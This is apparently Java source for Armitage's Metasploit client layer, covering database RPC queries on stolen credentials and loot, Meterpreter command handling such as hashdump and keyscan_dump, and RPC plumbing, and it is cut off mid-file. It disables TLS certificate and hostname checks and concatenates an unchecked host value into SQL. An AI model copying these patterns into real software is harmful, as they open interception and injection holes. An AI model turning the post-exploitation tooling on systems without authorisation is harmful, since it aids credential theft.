import java.util.*;
import java.sql.*;
import java.io.*;
import graph.Route;
/* implement the old MSF RPC database calls in a way Armitage likes */
public class DatabaseImpl implements RpcConnection {
protected Connection db;
protected Map queries;
protected String workspaceid = "0";
protected String hFilter = null;
protected String sFilter = null;
protected Route[] rFilter = null;
protected String[] oFilter = null;
protected int hindex = 0;
protected int sindex = 0;
public void resetHostsIndex() {
hindex = 0;
queries = build();
}
public void resetServicesIndex() {
sindex = 0;
queries = build();
}
public void nextHostsIndex() {
hindex += 1;
queries = build();
}
public void nextServicesIndex() {
sindex += 1;
queries = build();
}
private static String join(List items, String delim) {
StringBuffer result = new StringBuffer();
Iterator i = items.iterator();
while (i.hasNext()) {
result.append(i.next());
if (i.hasNext()) {
result.append(delim);
}
}
return result.toString();
}
public void setWorkspace(String name) {
try {
List spaces = executeQuery("SELECT DISTINCT * FROM workspaces");
Iterator i = spaces.iterator();
while (i.hasNext()) {
Map temp = (Map)i.next();
if (name.equals(temp.get("name"))) {
workspaceid = temp.get("id") + "";
queries = build();
}
}
}
catch (Exception ex) {
throw new RuntimeException(ex);
}
}
public void setDebug(boolean d) {
}
public DatabaseImpl() {
queries = build();
}
private static long tzfix = 0;
static {
Calendar now = Calendar.getInstance();
tzfix = now.get(Calendar.ZONE_OFFSET) + now.get(Calendar.DST_OFFSET);
}
/* marshall the type into something we'd rather deal with */
protected Object fixResult(Object o) {
if (o instanceof java.sql.Timestamp) {
return new Long( ((Timestamp)o).getTime() + tzfix );
}
return o;
}
protected int executeUpdate(String query) throws Exception {
Statement s = db.createStatement();
return s.executeUpdate(query);
}
/* execute the query and return a linked list of the results..., whee?!? */
protected List executeQuery(String query) throws Exception {
List results = new LinkedList();
Statement s = db.createStatement();
ResultSet r = s.executeQuery(query);
while (r.next()) {
Map row = new HashMap();
ResultSetMetaData m = r.getMetaData();
int c = m.getColumnCount();
for (int i = 1; i <= c; i++) {
row.put(m.getColumnLabel(i), fixResult(r.getObject(i)));
}
results.add(row);
}
return results;
}
private boolean checkRoute(String address) {
for (int x = 0; x < rFilter.length; x++) {
if (rFilter[x].shouldRoute(address))
return true;
}
return false;
}
private boolean checkOS(String os) {
String os_l = os.toLowerCase();
for (int x = 0; x < oFilter.length; x++) {
if (os_l.indexOf(oFilter[x]) != -1)
return true;
}
return false;
}
public List filterByRoute(List rows, int max) {
if (rFilter != null || oFilter != null) {
Iterator i = rows.iterator();
while (i.hasNext()) {
Map entry = (Map)i.next();
if (rFilter != null && entry.containsKey("address")) {
if (!checkRoute(entry.get("address") + "")) {
i.remove();
continue;
}
}
else if (rFilter != null && entry.containsKey("host")) {
if (!checkRoute(entry.get("host") + "")) {
i.remove();
continue;
}
}
if (oFilter != null && entry.containsKey("os_name")) {
if (!checkOS(entry.get("os_name") + ""))
i.remove();
}
}
if (rows.size() > max) {
rows.subList(max, rows.size()).clear();
}
}
return rows;
}
public void connect(String dbstring, String user, String password) throws Exception {
db = DriverManager.getConnection(dbstring, user, password);
setWorkspace("default");
}
public Object execute(String methodName) throws IOException {
return execute(methodName, new Object[0]);
}
protected Map build() {
Map temp = new HashMap();
/* this is an optimization. If we have a network or OS filter, we need to pull back all host/service records and
filter them here. If we do not have these types of filters, then we can let the database do the heavy lifting
and limit the size of the final result there. */
int limit1 = rFilter == null && oFilter == null ? 512 : 30000;
int limit2 = rFilter == null && oFilter == null ? 12288 : 100000;
temp.put("db.creds", "SELECT DISTINCT creds.*, hosts.address as host, services.name as sname, services.port as port, services.proto as proto FROM creds, services, hosts WHERE services.id = creds.service_id AND hosts.id = services.host_id AND hosts.workspace_id = " + workspaceid);
/* db.creds2 exists to prevent duplicate entries for the stuff I care about */
temp.put("db.creds2", "SELECT DISTINCT creds.user, creds.pass, hosts.address as host, services.name as sname, services.port as port, services.proto as proto, creds.ptype FROM creds, services, hosts WHERE services.id = creds.service_id AND hosts.id = services.host_id AND hosts.workspace_id = " + workspaceid);
if (hFilter != null) {
List tables = new LinkedList();
tables.add("hosts");
if (hFilter.indexOf("services.") >= 0)
tables.add("services");
if (hFilter.indexOf("sessions.") >= 0)
tables.add("sessions");
temp.put("db.hosts", "SELECT DISTINCT hosts.* FROM " + join(tables, ", ") + " WHERE hosts.workspace_id = " + workspaceid + " AND " + hFilter + " ORDER BY hosts.id ASC LIMIT " + limit1 + " OFFSET " + (limit1 * hindex));
}
else {
temp.put("db.hosts", "SELECT DISTINCT hosts.* FROM hosts WHERE hosts.workspace_id = " + workspaceid + " ORDER BY hosts.id ASC LIMIT " + limit1 + " OFFSET " + (hindex * limit1));
}
temp.put("db.services", "SELECT DISTINCT services.*, hosts.address as host FROM services, (" + temp.get("db.hosts") + ") as hosts WHERE hosts.id = services.host_id AND services.state = 'open' ORDER BY services.id ASC LIMIT " + limit2 + " OFFSET " + (limit2 * sindex));
temp.put("db.loots", "SELECT DISTINCT loots.*, hosts.address as host FROM loots, hosts WHERE hosts.id = loots.host_id AND hosts.workspace_id = " + workspaceid);
temp.put("db.workspaces", "SELECT DISTINCT * FROM workspaces");
temp.put("db.notes", "SELECT DISTINCT notes.*, hosts.address as host FROM notes, hosts WHERE hosts.id = notes.host_id AND hosts.workspace_id = " + workspaceid);
temp.put("db.clients", "SELECT DISTINCT clients.*, hosts.address as host FROM clients, hosts WHERE hosts.id = clients.host_id AND hosts.workspace_id = " + workspaceid);
temp.put("db.sessions", "SELECT DISTINCT sessions.*, hosts.address as host FROM sessions, hosts WHERE hosts.id = sessions.host_id AND hosts.workspace_id = " + workspaceid);
temp.put("db.events", "SELECT DISTINCT id, username, info, created_at FROM events WHERE events.name = 'armitage.event' ORDER BY id ASC");
return temp;
}
public Object execute(String methodName, Object[] params) throws IOException {
try {
if (queries.containsKey(methodName)) {
String query = queries.get(methodName) + "";
Map result = new HashMap();
if (methodName.equals("db.services")) {
result.put(methodName.substring(3), filterByRoute(executeQuery(query), 12288));
}
else if (methodName.equals("db.hosts")) {
result.put(methodName.substring(3), filterByRoute(executeQuery(query), 512));
}
else {
result.put(methodName.substring(3), executeQuery(query));
}
return result;
}
else if (methodName.equals("db.vulns")) {
//List a = executeQuery("SELECT DISTINCT vulns.*, hosts.address as host, services.port as port, services.proto as proto FROM vulns, hosts, services WHERE hosts.id = vulns.host_id AND services.id = vulns.service_id");
//List b = executeQuery("SELECT DISTINCT vulns.*, hosts.address as host FROM vulns, hosts WHERE hosts.id = vulns.host_id AND vulns.service_id IS NULL");
List a = executeQuery("SELECT DISTINCT vulns.*, vulns.id as vid, hosts.address as host, services.port as port, services.proto as proto, refs.name as refs FROM vulns, hosts, services, vulns_refs, refs WHERE hosts.id = vulns.host_id AND services.id = vulns.service_id AND vulns_refs.vuln_id = vulns.id AND vulns_refs.ref_id = refs.id AND hosts.workspace_id = " + workspaceid);
List b = executeQuery("SELECT DISTINCT vulns.*, vulns.id as vid, hosts.address as host, refs.name as refs FROM vulns, hosts, refs, vulns_refs WHERE hosts.id = vulns.host_id AND vulns.service_id IS NULL AND vulns_refs.vuln_id = vulns.id AND vulns_refs.ref_id = refs.id AND hosts.workspace_id = " + workspaceid);
a.addAll(b);
Map result = new HashMap();
result.put("vulns", a);
return result;
}
else if (methodName.equals("db.log_event")) {
PreparedStatement stmt = null;
stmt = db.prepareStatement("INSERT INTO events (name, username, info, created_at) VALUES ('armitage.event', ?, ?, now() AT TIME ZONE 'GMT')");
stmt.setString(1, params[0] + "");
stmt.setString(2, params[1] + "");
stmt.executeUpdate();
return new HashMap();
}
else if (methodName.equals("db.key_add")) {
PreparedStatement stmt = null;
stmt = db.prepareStatement("INSERT INTO notes (ntype, data) VALUES (?, ?)");
stmt.setString(1, params[0] + "");
stmt.setString(2, params[1] + "");
stmt.executeUpdate();
return new HashMap();
}
else if (methodName.equals("db.key_delete")) {
PreparedStatement stmt = null;
stmt = db.prepareStatement("DELETE FROM notes WHERE id = ?");
stmt.setString(1, params[0] + "");
stmt.executeUpdate();
return new HashMap();
}
else if (methodName.equals("db.key_clear")) {
PreparedStatement stmt = null;
stmt = db.prepareStatement("DELETE FROM notes WHERE ntype = ?");
stmt.setString(1, params[0] + "");
stmt.executeUpdate();
return new HashMap();
}
else if (methodName.equals("db.key_values")) {
Map results = new HashMap();
String key = params[0] + "";
if (!key.matches("[0-9a-zA-Z\\._]+")) {
System.err.println("Key '" + key + "' did not validate!");
return new HashMap();
}
results.put("values", executeQuery("SELECT DISTINCT * FROM notes WHERE ntype = '" + key + "' ORDER BY id ASC"));
return results;
}
else if (methodName.equals("db.clear")) {
executeUpdate(
"BEGIN;" +
"DELETE FROM hosts;" +
"DELETE FROM services;" +
"DELETE FROM events;" +
"DELETE FROM notes;" +
"DELETE FROM creds;" +
"DELETE FROM loots;" +
"DELETE FROM vulns;" +
"DELETE FROM sessions;" +
"DELETE FROM clients;" +
"COMMIT");
return new HashMap();
}
else if (methodName.equals("db.filter")) {
/* I'd totally do parameterized queries if I wasn't building this
damned query dynamically. Hence it'll have to do. */
Map values = (Map)params[0];
rFilter = null;
oFilter = null;
List hosts = new LinkedList();
List srvcs = new LinkedList();
if ((values.get("session") + "").equals("1")) {
hosts.add("sessions.host_id = hosts.id AND sessions.closed_at IS NULL AND sessions.close_reason IS NULL");
//srvcs.add("sessions.host_id = hosts.id AND sessions.closed_at IS NULL");
}
if (values.containsKey("hosts") && (values.get("hosts") + "").length() > 0) {
String h = values.get("hosts") + "";
if (!h.matches("[0-9a-fA-F\\.:\\%\\_/, ]+")) {
System.err.println("Host value did not validate!");
return new HashMap();
}
String[] routes = h.split(",\\s*");
rFilter = new Route[routes.length];
for (int x = 0; x < routes.length; x++) {
rFilter[x] = new Route(routes[x]);
}
}
if (values.containsKey("ports") && (values.get("ports") + "").length() > 0) {
List ports = new LinkedList();
List ports2 = new LinkedList();
String[] p = (values.get("ports") + "").split(",\\s*");
for (int x = 0; x < p.length; x++) {
if (!p[x].matches("[0-9]+")) {
return new HashMap();
}
ports.add("services.port = " + p[x]);
//ports2.add("s.port = " + p[x]);
}
hosts.add("services.host_id = hosts.id");
hosts.add("(" + join(ports, " OR ") + ")");
}
if (values.containsKey("os") && (values.get("os") + "").length() > 0) {
oFilter = (values.get("os") + "").toLowerCase().split(",\\s*");
}
if (hosts.size() == 0) {
hFilter = null;
}
else {
hFilter = join(hosts, " AND ");
}
queries = build();
return new HashMap();
}
else if (methodName.equals("db.fix_creds")) {
Map values = (Map)params[0];
PreparedStatement stmt = null;
stmt = db.prepareStatement("UPDATE creds SET ptype = 'smb_hash' WHERE creds.user = ? AND creds.pass = ?");
stmt.setString(1, values.get("user") + "");
stmt.setString(2, values.get("pass") + "");
Map result = new HashMap();
result.put("rows", new Integer(stmt.executeUpdate()));
return result;
}
else if (methodName.equals("db.report_host")) {
Map values = (Map)params[0];
String host = values.get("host") + "";
PreparedStatement stmt = null;
/* before we change this hosts info, kill its notes. We do this so future normalized data isn't ignored */
executeUpdate("DELETE FROM notes WHERE EXISTS (SELECT id, address FROM hosts WHERE notes.host_id = id AND address = '" + host + "'::text::inet AND workspace_id = " + workspaceid + ")");
if (values.containsKey("os_name") && values.containsKey("os_flavor")) {
stmt = db.prepareStatement("UPDATE hosts SET os_name = ?, os_flavor = ?, os_sp = '' WHERE hosts.address = ?::text::inet AND hosts.workspace_id = " + workspaceid);
stmt.setString(1, values.get("os_name") + "");
stmt.setString(2, values.get("os_flavor") + "");
stmt.setString(3, host);
}
else if (values.containsKey("os_name")) {
stmt = db.prepareStatement("UPDATE hosts SET os_name = ?, os_flavor = '', os_sp = '' WHERE hosts.address = ?::text::inet AND hosts.workspace_id = " + workspaceid);
stmt.setString(1, values.get("os_name") + "");
stmt.setString(2, host);
}
else if (values.containsKey("purpose")) {
stmt = db.prepareStatement("UPDATE hosts SET purpose = ? WHERE hosts.address = ?::text::inet AND hosts.workspace_id = " + workspaceid);
stmt.setString(1, values.get("purpose") + "");
stmt.setString(2, host);
}
else {
return new HashMap();
}
Map result = new HashMap();
result.put("rows", new Integer(stmt.executeUpdate()));
return result;
}
else {
System.err.println("Need to implement: " + methodName);
}
}
catch (Exception ex) {
System.err.println(ex);
ex.printStackTrace();
}
return new HashMap();
}
}

View File

@ -0,0 +1,238 @@
package msf;
import java.util.*;
import java.awt.*;
import java.awt.event.*;
/* Implements a class for writing commands to meterpreter and firing an
event when the command is successfully executed (with its output) */
public class MeterpreterSession implements Runnable {
protected RpcConnection connection;
protected LinkedList listeners = new LinkedList();
protected LinkedList commands = new LinkedList();
protected String session;
protected boolean teammode;
public static long DEFAULT_WAIT = 12000;
private static class Command {
public Object token;
public String text;
public long start = System.currentTimeMillis();
}
public static interface MeterpreterCallback {
public void commandComplete(String session, Object token, Map response);
public void commandTimeout(String session, Object token, Map response);
}
public void addListener(MeterpreterCallback l) {
synchronized (this) {
listeners.add(l);
}
}
public void fireEvent(Command command, Map response, boolean timeout) {
Iterator i;
synchronized (this) {
i = new LinkedList(listeners).iterator();
}
while (i.hasNext()) {
if (timeout) {
((MeterpreterCallback)i.next()).commandTimeout(session, command != null ? command.token : null, response);
}
else {
((MeterpreterCallback)i.next()).commandComplete(session, command != null ? command.token : null, response);
}
}
}
public MeterpreterSession(RpcConnection connection, String session, boolean teammode) {
this.connection = connection;
this.session = session;
this.teammode = teammode;
new Thread(this).start();
}
protected void emptyRead() {
if (teammode)
return;
try {
Map read = readResponse();
while (!"".equals(read.get("data"))) {
fireEvent(null, read, false);
read = readResponse();
}
}
catch (Exception ex) {
throw new RuntimeException(ex);
}
}
protected void processCommand(Command c) {
Map response = null, read = null;
long start;
long maxwait = DEFAULT_WAIT;
int expectedReads = 1;
try {
emptyRead();
//System.err.println("Processing: " + c.text);
response = (Map)connection.execute("session.meterpreter_write", new Object[] { session, c.text });
/* white list any commands that are not expected to return output */
if (c.text.startsWith("cd "))
return;
if (c.text.startsWith("rm "))
return;
if (c.text.equals("shell\n") || c.text.equals("exit\n") || c.text.equals("rev2self\n"))
return;
if (c.text.startsWith("ls\n")) {
maxwait *= 2;
}
else if (c.text.startsWith("webcam_snap ")) {
expectedReads = 3;
}
else if (c.text.startsWith("download ")) {
expectedReads = 2;
}
else if (c.text.startsWith("upload ")) {
expectedReads = 2;
}
else if (c.text.startsWith("keyscan_dump")) {
expectedReads = 2;
}
else if (c.text.startsWith("migrate")) {
expectedReads = 2;
}
else if (c.text.startsWith("hashdump")) {
readUntilSuccessful(c, true);
return;
}
else if (c.text.startsWith("route")) {
readUntilSuccessful(c, false);
return;
}
//System.err.println("(" + session + ") latency: " + (System.currentTimeMillis() - c.start) + " -- " + c.text);
for (int x = 0; x < expectedReads; x++) {
read = readResponse();
start = System.currentTimeMillis();
while ("".equals(read.get("data")) || read.get("data").toString().startsWith("[-] Error running command read")) {
/* our goal here is to timeout any command after 10 seconds if it returns nothing */
if ((System.currentTimeMillis() - start) > maxwait) {
fireEvent(c, read, true);
System.err.println("(" + session + ") - '" + c.text + "' - timed out");
return;
}
read = readResponse();
}
/* process the read command ... */
fireEvent(c, read, false);
}
/* grab any additional readable data */
read = readResponse();
while (!"".equals(read.get("data"))) {
fireEvent(c, read, false);
read = readResponse();
}
}
catch (Exception ex) {
System.err.println(session + " -> " + c.text + " ( " + response + ")");
ex.printStackTrace();
}
}
public void addCommand(Object token, String text) {
synchronized (this) {
if (text.trim().equals("")) {
return;
}
Command temp = new Command();
temp.token = token;
temp.text = text;
commands.add(temp);
}
}
protected Command grabCommand() {
synchronized (this) {
/*if (commands.size() > 0) {
System.err.println("Queue size is: " + commands.size());
}*/
return (Command)commands.pollFirst();
}
}
public void run() {
long lastRead = System.currentTimeMillis();
while (true) {
try {
Command next = grabCommand();
if (next == null && (System.currentTimeMillis() - lastRead) > 500) {
lastRead = System.currentTimeMillis();
emptyRead();
}
else if (next == null) {
Thread.sleep(25);
}
else {
lastRead = System.currentTimeMillis();
processCommand(next);
}
}
catch (Exception ex) {
System.err.println("This session appears to be dead! " + session + ", " + ex);
return;
}
}
}
/* keep reading until we get no data for a set period... this is a more aggressive
alternate read strategy for commands that I can't predict the end point well */
private void readUntilSuccessful(Command c, boolean pieces) throws Exception {
/* our first read gets the default wait period at least... */
long start = System.currentTimeMillis() + DEFAULT_WAIT;
long timeout = pieces ? 2000 : 500;
StringBuffer buffer = new StringBuffer();
Map read = null;
/* keep reading until we see nothing (up to the timeout) */
while ((System.currentTimeMillis() - start) < timeout) {
read = readResponse();
String data = read.get("data") + "";
if (data.length() > 0) {
if (pieces) {
fireEvent(c, read, false);
}
else {
buffer.append(data);
}
start = System.currentTimeMillis();
}
}
if (!pieces) {
read.put("data", buffer.toString());
fireEvent(c, read, false);
}
}
private Map readResponse() throws Exception {
try {
Thread.sleep(10);
}
catch (Exception ex) {}
return (Map)(connection.execute("session.meterpreter_read", new Object[] { session }));
}
}

View File

@ -0,0 +1,139 @@
package msf;
import java.io.*;
import java.net.*;
import java.util.*;
import javax.net.ssl.*;
import org.msgpack.*;
import org.msgpack.object.*;
/**
* Taken from BSD licensed msfgui by scriptjunkie.
*
* Implements an RPC backend using the MessagePack interface
* @author scriptjunkie
*/
public class MsgRpcImpl extends RpcConnectionImpl {
private URL u;
private URLConnection huc; // new for each call
protected int timeout = 0; /* scriptjunkie likes timeouts, I don't. :) */
/**
* Creates a new URL to use as the basis of a connection.
*/
public MsgRpcImpl(String username, String password, String host, int port, boolean ssl, boolean debugf) throws MalformedURLException {
if (ssl) { // Install the all-trusting trust manager & HostnameVerifier
try {
SSLContext sc = SSLContext.getInstance("SSL");
sc.init(null, new TrustManager[] {
new X509TrustManager() {
public java.security.cert.X509Certificate[] getAcceptedIssuers() {
return null;
}
public void checkClientTrusted(
java.security.cert.X509Certificate[] certs, String authType) {
}
public void checkServerTrusted(
java.security.cert.X509Certificate[] certs, String authType) {
}
}
}, new java.security.SecureRandom());
HttpsURLConnection.setDefaultSSLSocketFactory(sc.getSocketFactory());
HttpsURLConnection.setDefaultHostnameVerifier( new HostnameVerifier() {
public boolean verify(String string,SSLSession ssls) {
return true;
}
});
}
catch (Exception e) {
}
u = new URL("https", host, port, "/api/1.0/");
}
else {
u = new URL("http", host, port, "/api/1.0/");
}
/* login to msf server */
Object[] params = new Object[]{ username, password };
Map results = exec("auth.login",params);
rpcToken = results.get("token").toString();
}
/**
* Decodes a response recursively from MessagePackObject to a normal Java object
* @param src MessagePack response
* @return decoded object
*/
private static Object unMsg(Object src){
Object out = src;
if (src instanceof ArrayType) {
List l = ((ArrayType)src).asList();
List outList = new ArrayList(l.size());
out = outList;
for(Object o : l)
outList.add(unMsg(o));
}
else if (src instanceof BooleanType) {
out = ((BooleanType)src).asBoolean();
}
else if (src instanceof FloatType) {
out = ((FloatType)src).asFloat();
}
else if (src instanceof IntegerType) {
out = ((IntegerType)src).asInt();
}
else if (src instanceof MapType) {
Set ents = ((MapType)src).asMap().entrySet();
out = new HashMap();
for (Object ento : ents) {
Map.Entry ent = (Map.Entry)ento;
Object key = unMsg(ent.getKey());
Object val = ent.getValue();
// Hack - keep bytes of generated or encoded payload
if(ents.size() == 1 && val instanceof RawType && (key.equals("payload") || key.equals("encoded")))
val = ((RawType)val).asByteArray();
else
val = unMsg(val);
((Map)out).put(key + "", val);
}
if (((Map)out).containsKey("error") && ((Map)out).containsKey("error_class")) {
System.out.println(((Map)out).get("error_backtrace"));
throw new RuntimeException(((Map)out).get("error_message").toString());
}
}
else if (src instanceof NilType) {
out = null;
}
else if (src instanceof RawType) {
out = ((RawType)src).asString();
}
return out;
}
/** Creates an XMLRPC call from the given method name and parameters and sends it */
protected void writeCall(String methodName, Object[] args) throws Exception {
huc = u.openConnection();
huc.setDoOutput(true);
huc.setDoInput(true);
huc.setUseCaches(false);
huc.setRequestProperty("Content-Type", "binary/message-pack");
huc.setReadTimeout(0);
OutputStream os = huc.getOutputStream();
Packer pk = new Packer(os);
pk.packArray(args.length+1);
pk.pack(methodName);
for(Object o : args)
pk.pack(o);
os.close();
}
/** Receives an RPC response and converts to an object */
protected Object readResp() throws Exception {
InputStream is = huc.getInputStream();
MessagePackObject mpo = MessagePack.unpack(is);
return unMsg(mpo);
}
}

View File

@ -0,0 +1,31 @@
package msf;
import java.io.*;
public class RpcAsync implements RpcConnection, Async {
protected RpcQueue queue;
protected RpcConnection connection;
public RpcAsync(RpcConnection connection) {
this.connection = connection;
}
public void execute_async(String methodName) {
execute_async(methodName, new Object[]{});
}
public void execute_async(String methodName, Object[] args) {
if (queue == null) {
queue = new RpcQueue(connection);
}
queue.execute(methodName, args);
}
public Object execute(String methodName) throws IOException {
return connection.execute(methodName);
}
public Object execute(String methodName, Object[] params) throws IOException {
return connection.execute(methodName, params);
}
}

View File

@ -0,0 +1,171 @@
package msf;
import java.io.*;
import java.net.*;
import java.text.*;
import java.util.*;
import javax.xml.*;
import javax.xml.parsers.*;
import javax.xml.transform.*;
import javax.xml.transform.dom.*;
import javax.xml.transform.stream.*;
import org.w3c.dom.*;
/* A self-expiring cache for RPC calls */
public class RpcCacheImpl implements Runnable {
protected RpcConnection connection = null;
protected Map cache = new HashMap();
protected Map filters = new HashMap();
private static class CacheEntry {
public long last = 0L;
public long wait = 2000L;
public Object response = null;
public boolean isExpired() {
return (System.currentTimeMillis() - last) > wait;
}
public void touch(String method, long executeTime) {
/* throttle the next call if this takes too long to execute */
if (executeTime > 500) {
wait = 5000L;
System.err.println("* " + method + " took " + executeTime + "ms - throttling next call");
}
else {
wait = 2000L;
}
last = System.currentTimeMillis();
}
}
public RpcCacheImpl(RpcConnection connection) {
this.connection = connection;
new Thread(this).start();
}
public void setFilter(String user, Object[] filter) {
synchronized (this) {
if (filter == null || filter.length == 0) {
filters.remove(user);
return;
}
Map temp = (Map)filter[0];
if (temp.size() == 0) {
filters.remove(user);
}
else {
filters.put(user, filter);
}
}
}
public Object execute(String user, String methodName) throws IOException {
return execute(methodName, null);
}
public Object execute_cache(String cacheKey, String methodName, Object[] params) throws IOException {
synchronized (this) {
CacheEntry entry = null;
if (cache.containsKey(cacheKey)) {
entry = (CacheEntry)cache.get(cacheKey);
if (!entry.isExpired()) {
return entry.response;
}
}
else {
entry = new CacheEntry();
cache.put(cacheKey, entry);
}
long time = System.currentTimeMillis();
if (params == null) {
entry.response = connection.execute(methodName);
}
else {
entry.response = connection.execute(methodName, params);
}
time = System.currentTimeMillis() - time;
entry.touch(methodName, time);
return entry.response;
}
}
private static String cacheKey(String method, Object[] args) {
Map temp = (Map)args[0];
StringBuffer key = new StringBuffer();
key.append(method + ":");
key.append(temp.get("hosts"));
key.append(";");
key.append(temp.get("os"));
key.append(";");
key.append(temp.get("ports"));
key.append(";");
key.append(temp.get("session"));
return key.toString();
}
private static final Object[] emptyFilter = new Object[] { new HashMap() };
public Object execute(String user, String methodName, Object[] params) throws IOException {
synchronized (this) {
/* user has a dynamic workspace... let's work with that. */
if (!methodName.equals("session.list") && filters.containsKey(user)) {
/* setup the filter */
Object[] filter = (Object[])filters.get(user);
connection.execute("db.filter", filter);
/* calculate the cache key for the filter */
String key = cacheKey(methodName, filter);
/* execute the function (caching the results too) */
Object response = execute_cache(key, methodName, params);
/* reset the filter */
connection.execute("db.filter", emptyFilter);
return response;
}
else if (methodName.equals("session.list")) {
/* do something special */
synchronized (this) {
if (sessions != null)
return sessions;
else
return execute_cache(methodName, methodName, params);
}
}
else {
return execute_cache(methodName, methodName, params);
}
}
}
protected Object sessions = null;
public void run() {
while (true) {
try {
Object temp = connection.execute("session.list");
synchronized (this) {
sessions = temp;
}
}
catch (IOException ex) {
ex.printStackTrace();
return;
}
try {
Thread.sleep(2000);
}
catch (InterruptedException iex) {
iex.printStackTrace();
}
}
}
}

View File

@ -0,0 +1,21 @@
package msf;
import java.io.*;
import java.net.*;
import java.text.*;
import java.util.*;
import javax.xml.*;
import javax.xml.parsers.*;
import javax.xml.transform.*;
import javax.xml.transform.dom.*;
import javax.xml.transform.stream.*;
import org.w3c.dom.*;
/**
* This is a modification of msfgui/RpcConnection.java by scriptjunkie. Taken from
* the Metasploit Framework Java GUI.
*/
public interface RpcConnection {
public Object execute(String methodName) throws IOException;
public Object execute(String methodName, Object[] params) throws IOException;
}

View File

@ -0,0 +1,145 @@
package msf;
import java.io.*;
import java.net.*;
import java.text.*;
import java.util.*;
import javax.xml.*;
import javax.xml.parsers.*;
import javax.xml.transform.*;
import javax.xml.transform.dom.*;
import javax.xml.transform.stream.*;
import org.w3c.dom.*;
/**
* This is a modification of msfgui/RpcConnection.java by scriptjunkie. Taken from
* the Metasploit Framework Java GUI.
*/
public abstract class RpcConnectionImpl implements RpcConnection, Async {
protected String rpcToken;
private Map callCache = new HashMap();
protected RpcConnection database = null;
protected Map hooks = new HashMap();
protected RpcQueue queue = null;
public void addHook(String name, RpcConnection hook) {
hooks.put(name, hook);
}
public void setDatabase(RpcConnection connection) {
database = connection;
}
public RpcConnectionImpl() {
/* empty */
}
/** Constructor sets up a connection and authenticates. */
public RpcConnectionImpl(String username, String password, String host, int port, boolean secure, boolean debugf) {
}
/** Destructor cleans up. */
protected void finalize() throws Throwable {
super.finalize();
}
/** Method that sends a call to the server and received a response; only allows one at a time */
protected Map exec (String methname, Object[] params) {
try {
synchronized(this) {
writeCall(methname, params);
Object response = readResp();
if (response instanceof Map) {
return (Map)response;
}
else {
Map temp = new HashMap();
temp.put("response", response);
return temp;
}
}
}
catch (RuntimeException rex) {
throw rex;
}
catch (Exception ex) {
throw new RuntimeException(ex);
}
}
public void execute_async(String methodName) {
execute_async(methodName, new Object[]{});
}
public void execute_async(String methodName, Object[] args) {
if (queue == null) {
queue = new RpcQueue(this);
}
queue.execute(methodName, args);
}
/** Runs command with no args */
public Object execute(String methodName) throws IOException {
return execute(methodName, new Object[]{});
}
protected HashMap locks = new HashMap();
/** Adds token, runs command, and notifies logger on call and return */
public Object execute(String methodName, Object[] params) throws IOException {
if (database != null && "db.".equals(methodName.substring(0, 3))) {
return database.execute(methodName, params);
}
else if (methodName.equals("armitage.lock")) {
if (locks.containsKey(params[0] + "")) {
Map res = new HashMap();
res.put("error", "session already locked\n" + locks.get(params[0] + ""));
return res;
}
else {
locks.put(params[0] + "", params[1]);
}
return new HashMap();
}
else if (methodName.equals("armitage.unlock")) {
locks.remove(params[0] + "");
return new HashMap();
}
else if (hooks.containsKey(methodName)) {
RpcConnection con = (RpcConnection)hooks.get(methodName);
return con.execute(methodName, params);
}
else {
Object[] paramsNew = new Object[params.length+1];
paramsNew[0] = rpcToken;
System.arraycopy(params, 0, paramsNew, 1, params.length);
Object result = cacheExecute(methodName, paramsNew);
return result;
}
}
/** Caches certain calls and checks cache for re-executing them.
* If not cached or not cacheable, calls exec. */
private Object cacheExecute(String methodName, Object[] params) throws IOException {
if (methodName.equals("module.info") || methodName.equals("module.options") || methodName.equals("module.compatible_payloads") || methodName.equals("core.version")) {
StringBuilder keysb = new StringBuilder(methodName);
for(int i = 1; i < params.length; i++)
keysb.append(params[i].toString());
String key = keysb.toString();
Object result = callCache.get(key);
if(result != null)
return result;
result = exec(methodName, params);
callCache.put(key, result);
return result;
}
return exec(methodName, params);
}
protected abstract void writeCall(String methodName, Object[] args) throws Exception;
protected abstract Object readResp() throws Exception;
}

View File

@ -0,0 +1,78 @@
package msf;
import console.*;
import java.util.*;
import java.awt.*;
import java.awt.event.*;
import msf.*;
import java.math.*;
import java.security.*;
/* A pretty quick and dirty queue for executing RPC commands in turn and discarding their output. This
has to be 100x better than creating a thread for every async thing I want to have happen via an RPC
call */
public class RpcQueue implements Runnable {
protected RpcConnection connection;
protected LinkedList requests = new LinkedList();
private static class Request {
public String method;
public Object[] args;
}
public RpcQueue(RpcConnection connection) {
this.connection = connection;
new Thread(this).start();
}
protected void processRequest(Request r) {
try {
connection.execute(r.method, r.args);
}
catch (Exception ex) {
System.err.println("-------------------");
System.err.println("Method: " + r.method);
for (int x = 0; x < r.args.length; x++) {
System.err.println("\t" + x + ": " + r.args[x]);
}
ex.printStackTrace();
}
}
public void execute(String method, Object[] args) {
synchronized (this) {
Request temp = new Request();
temp.method = method;
temp.args = args;
requests.add(temp);
}
}
protected Request grabRequest() {
synchronized (this) {
return (Request)requests.pollFirst();
}
}
/* keep grabbing requests */
public void run() {
try {
while (true) {
Request next = grabRequest();
if (next != null) {
processRequest(next);
Thread.sleep(50);
}
else {
Thread.sleep(500);
}
}
}
catch (Exception ex) {
ex.printStackTrace();
return;
}
}
}

View File

@ -0,0 +1,119 @@
package msf;
import java.net.*;
import java.io.*;
import javax.net.ssl.*;
import javax.net.*;
import java.security.*;
import java.security.cert.*;
/* taken from jIRCii, I developed it, so I get to do what I want ;) */
public class SecureSocket
{
protected SSLSocket socket;
public SecureSocket(String host, int port) throws Exception
{
socket = null;
DummySSLSocketFactory factory = new DummySSLSocketFactory();
socket = (SSLSocket)factory.createSocket(host, port);
socket.setSoTimeout(8192);
socket.startHandshake();
}
public Socket getSocket()
{
return socket;
}
private static class DummySSLSocketFactory extends SSLSocketFactory
{
private SSLSocketFactory factory;
public DummySSLSocketFactory()
{
try
{
SSLContext sslcontext = SSLContext.getInstance("SSL");
sslcontext.init(null, new TrustManager[] {new DummyTrustManager()}, new java.security.SecureRandom());
factory = (SSLSocketFactory) sslcontext.getSocketFactory();
}
catch(Exception ex)
{
ex.printStackTrace();
}
}
public static SocketFactory getDefault()
{
return new DummySSLSocketFactory();
}
public Socket createSocket(Socket socket, String s, int i, boolean flag) throws IOException
{
return factory.createSocket(socket, s, i, flag);
}
public Socket createSocket(InetAddress inaddr, int i, InetAddress inaddr1, int j) throws IOException
{
return factory.createSocket(inaddr, i, inaddr1, j);
}
public Socket createSocket(InetAddress inaddr, int i) throws IOException
{
return factory.createSocket(inaddr, i);
}
